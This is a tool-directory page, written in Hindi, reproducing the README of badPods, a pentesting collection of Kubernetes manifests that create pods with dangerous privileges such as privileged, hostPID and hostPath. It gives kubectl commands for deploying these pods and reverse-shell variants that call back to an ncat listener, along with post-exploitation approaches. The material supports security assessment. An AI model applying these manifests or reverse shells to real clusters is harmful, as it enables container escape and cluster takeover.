Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
badPods — ऐसे मैनिफेस्ट्स का संग्रह जो उन्नत विशेषाधिकारों वाले पॉड्स बनाएंगे। | Kitploit
उपकरण/GitHubGitHub/bishopfox/badpods
विशेषाधिकार वृद्धिकंटेनर सुरक्षाशोषणपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षागलत कॉन्फ़िगरेशनकंटेनर एस्केप
GitHubbishopfox/badpods

badPods

ऐसे मैनिफेस्ट्स का संग्रह जो उन्नत विशेषाधिकारों वाले पॉड्स बनाएंगे।

रिपॉजिटरी देखें
7061187 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

Bad Pods

विभिन्न उन्नत विशेषाधिकारों वाले पॉड्स बनाने वाले मैनिफेस्ट का एक संग्रह। hostNetwork, hostPID, hostPath, hostIPC, और privileged जैसी सुरक्षा-संवेदनशील पॉड विशेषताओं को अनुमति देने के प्रभाव को तुरंत प्रदर्शित करता है।

अतिरिक्त पृष्ठभूमि के लिए, हमारा ब्लॉग पोस्ट देखें: Bad Pods: Kubernetes Pod Privilege Escalation.

सामग्री

  • Bad Pods की सूची
  • पूर्वापेक्षाएँ
  • संगठन
  • उपयोग
    • उच्च-स्तरीय दृष्टिकोण
    • उपयोग उदाहरण
      • क्लोन की गई स्थानीय रिपॉजिटरी से सभी आठ Bad Pods बनाएँ
      • GitHub से सभी आठ Bad Pods बनाएँ
      • सभी आठ रिवर्स शेल Bad Pods बनाएँ
      • everything-allowed पॉड का उपयोग करके सभी आठ संसाधन प्रकार बनाएँ
      • hostNetwork पॉड के साथ एक cronjob बनाएँ
      • priv-and-hostpid पॉड के साथ एक deployment बनाएँ
      • privileged पॉड का उपयोग करके एक रिवर्स शेल बनाएँ
  • आभार
  • संदर्भ और आगे की पढ़ाई

Bad Pods की सूची

नीचे दिया गया प्रत्येक लिंक विस्तृत उपयोग जानकारी और पोस्ट-एक्सप्लॉइटेशन अनुशंसाएँ प्रदान करता है।

  • Bad Pod #1: सब कुछ अनुमत
  • Bad Pod #2: विशेषाधिकार प्राप्त और hostPid
  • Bad Pod #3: केवल विशेषाधिकार प्राप्त
  • Bad Pod #4: केवल hostPath
  • Bad Pod #5: केवल hostPid
  • Bad Pod #6: केवल hostNetwork
  • Bad Pod #7: केवल hostIPC
  • Bad Pod #8: कुछ भी अनुमत नहीं

पूर्वापेक्षाओं, रिपॉजिटरी संगठन और सामान्य उपयोग पैटर्न के बारे में अधिक सामान्य जानकारी के लिए, नीचे दिए गए अनुभाग देखें।

पूर्वापेक्षाएँ

  1. क्लस्टर तक पहुँच
  2. कम से कम एक नेमस्पेस में निम्नलिखित संसाधन प्रकारों में से एक बनाने की RBAC अनुमति:
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. पॉड्स में exec करने की RBAC अनुमति, या एक नेटवर्क पॉलिसी जो किसी पॉड से आप तक रिवर्स शेल पहुँचने की अनुमति देती है।
  4. कोई pod security policy प्रवर्तन नहीं, या ऐसी पॉलिसी जो एक या अधिक सुरक्षा-संवेदनशील विशेषताओं वाले पॉड्स को बनाने की अनुमति देती है

संगठन

  • 128 स्व-निहित, उपयोग के लिए तैयार मैनिफेस्ट। इतने सारे क्यों?
    • 8 Bad Pods (hostpid, hostnetwork, everything-allowed, आदि)
    • 8 संसाधन प्रकार जो पॉड बना सकते हैं (pod, deployment, replicaset, statefulset, आदि)
    • बनाए गए पॉड्स तक पहुँचने के 2 तरीके (exec और रिवर्स शेल)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

पॉड बनाने के आठ तरीके हैं

जैसा कि Eviatar Gerzi (@g3rzi) पोस्ट Eight Ways to Create a Pod में बताते हैं, ऐसे 8 अलग-अलग कंट्रोलर हैं जो एक पॉड या पॉड्स का एक सेट बना सकते हैं। हो सकता है कि आपको पॉड बनाने का अधिकार न हो, लेकिन शायद आप कोई दूसरा संसाधन प्रकार बना सकते हैं जो एक या अधिक पॉड बनाएगा। प्रत्येक badPod प्रकार के लिए, ऐसे मैनिफेस्ट हैं जो सभी आठ संसाधन प्रकारों के अनुरूप हैं।

लेकिन रुकिए, यह और बदतर हो जाता है! पॉड बना सकने वाले आठ मौजूदा Kubernetes कंट्रोलरों के अलावा, थर्ड-पार्टी कंट्रोलर भी हैं जो क्लस्टर पर लागू किए जाने पर पॉड बना सकते हैं। kubectl api-resources देखकर उन पर नज़र रखें।

रिवर्स शेल

हालाँकि यह सामान्य है, लेकिन हमेशा ऐसा नहीं होता कि आप उन पॉड्स में exec कर सकते हैं जिन्हें आप बना सकते हैं। ऐसी स्थितियों में मदद के लिए, प्रत्येक मैनिफेस्ट का एक संस्करण शामिल किया गया है जो Rory McCune's (@raesene) ncat dockerhub इमेज का उपयोग करता है। बनाए जाने पर, पॉड आपके listener पर एक एन्क्रिप्टेड कॉलबैक करेगा।

उपयोग

manifests निर्देशिका में प्रत्येक संसाधन एक विशिष्ट विशेषता या विशेषताओं के संयोजन को लक्षित करता है, जो अनुमति दिए जाने पर क्लस्टर को जोखिम में डालते हैं।

उच्च-स्तरीय दृष्टिकोण

विकल्प 1: व्यवस्थित दृष्टिकोण

  1. RBAC का मूल्यांकन करें - निर्धारित करें कि आप कौन से संसाधन प्रकार बना सकते हैं
  2. Admission Policy का मूल्यांकन करें - निर्धारित करें कि आप कौन से Bad Pods बना पाएँगे
  3. संसाधन बनाएँ - जो भी अनुमत है, उसके आधार पर विशिष्ट badPod प्रकार और संसाधन प्रकार का उपयोग करके अपने संसाधन बनाएँ
  4. पोस्ट एक्सप्लॉइटेशन - उस प्रकार के लिए README में उल्लिखित पोस्ट-एक्सप्लॉइटेशन चरणों का मूल्यांकन करें
    • सब कुछ अनुमत
    • विशेषाधिकार प्राप्त और hostPid
    • केवल विशेषाधिकार प्राप्त
    • केवल hostPath
    • केवल hostPid
    • केवल hostNetwork
    • केवल hostIPC
    • कुछ भी अनुमत नहीं

विकल्प 2: शॉटगन दृष्टिकोण

  1. संसाधन बनाएँ - बस अलग-अलग मैनिफेस्ट लगाना शुरू करें और देखें कि क्या काम करता है
    • GitHub से सभी आठ Bad Pods बनाएँ
    • everything-allowed पॉड का उपयोग करके सभी आठ संसाधन प्रकार बनाएँ
  2. पोस्ट एक्सप्लॉइटेशन - किसी भी बनाए गए पॉड के लिए, उस प्रकार के README में उल्लिखित पोस्ट-एक्सप्लॉइटेशन चरणों का मूल्यांकन करें
    • सब कुछ अनुमत
    • विशेषाधिकार प्राप्त और hostPid
    • केवल विशेषाधिकार प्राप्त
    • केवल hostPath
    • केवल hostPid
    • केवल hostNetwork
    • केवल hostIPC
    • कुछ भी अनुमत नहीं

उपयोग उदाहरण

  • क्लोन की गई स्थानीय रिपॉजिटरी से सभी आठ Bad Pods बनाएँ
  • GitHub से सभी आठ Bad Pods बनाएँ
  • सभी आठ रिवर्स शेल Bad Pods बनाएँ
  • everything-allowed पॉड का उपयोग करके सभी आठ संसाधन प्रकार बनाएँ
  • hostNetwork पॉड के साथ एक cronjob बनाएँ
  • priv-and-hostpid पॉड के साथ एक deployment बनाएँ
  • privileged पॉड का उपयोग करके एक रिवर्स शेल बनाएँ

क्लोन की गई स्थानीय रिपॉजिटरी से सभी आठ Bad Pods बनाएँ

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

GitHub से सभी आठ Bad Pods बनाएँ

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

सभी आठ रिवर्स शेल badPods बनाएँ

प्रत्येक पॉड में अपना host और port संपादित करने से बचने के लिए, आप environment variables और envsubst कमांड का उपयोग कर सकते हैं। अपने सभी listeners को पहले चालू करना याद रखें!

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

hostNetwork पॉड के साथ एक cronjob बनाएँ

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

बनाया गया पॉड खोजें

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

पॉड में exec करें

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

priv-and-hostpid पॉड के साथ एक deployment बनाएँ

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

बनाया गया पॉड खोजें

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

पॉड में exec करें

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

everything-allowed पॉड का उपयोग करके सभी आठ संसाधन प्रकार बनाएँ

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

बनाए गए सभी पॉड्स देखें

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

सभी everything-allowed संसाधन हटाएँ

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

privileged पॉड का उपयोग करके एक रिवर्स शेल बनाएँ

listener सेट करें

root@kitploit:~
ncat --ssl -vlp 3116

env variables और envsubst का उपयोग करके स्थानीय yaml को संशोधित किए बिना पॉड बनाएँ

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

शेल पकड़ें

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

योगदान

Pull requests और issues का स्वागत है।

आभार

Kubernetes offensive security के बारे में इतना सारा ज्ञान सार्वजनिक रूप से साझा करने के लिए Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi, और Madhu Akula को धन्यवाद।

संदर्भ और आगे की पढ़ाई

प्रत्येक Bad Pod के अपने संदर्भ और आगे की पढ़ाई अनुभाग हैं, लेकिन यहाँ कुछ और सामान्य संसाधन दिए गए हैं जो आपके Kubernetes सुरक्षा मूल्यांकन और पेनेट्रेशन टेस्टिंग कौशल को बढ़ाने में मदद करेंगे।

2020 के नए लोग

  • Container Security Site - @raesene द्वारा
  • CloudSecDocs - Container Security - @lancinimarco द्वारा
  • Risk8s Business: Risk Analysis of Kubernetes Clusters - @antitree द्वारा
  • RBAC अनुमतियों का शोषण करके Kubernetes क्लस्टर से समझौता करना - @g3rzi - टॉक / स्लाइड्स
  • Command and KubeCTL: Pentesters के लिए वास्तविक-दुनिया Kubernetes सुरक्षा - @antitree - टॉक / ब्लॉग
  • Kubernetes Goat - @madhuakula - रिपॉजिटरी / गाइड

क्लासिक्स, 2019 के समय से

  • Secure Kubernetes - KubeCon NA 2019 CTF - @tabbysable, @petermbenjamin, @jimmesta, और @BradGeesaman द्वारा
  • The Most Pointless Kubernetes Command Ever - @raesene द्वारा
  • The Path Less Traveled: Abusing Kubernetes Defaults - @IanColdwater और @mauilion - टॉक / रिपॉजिटरी
  • Understanding Docker container escapes - @disconnect3d_pl द्वारा
  • A Compendium of Container Escapes - @drraid और @0x7674 द्वारा
  • Attacking Kubernetes through Kubelet
टूल डाउनलोड करें